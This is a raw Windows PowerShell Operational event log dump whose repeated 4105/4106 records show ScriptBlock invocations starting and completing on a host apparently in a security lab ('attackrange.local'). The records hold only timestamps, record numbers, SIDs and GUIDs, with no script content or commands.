TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038051
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038046
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038045
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038023
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038022
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038021
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038020
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
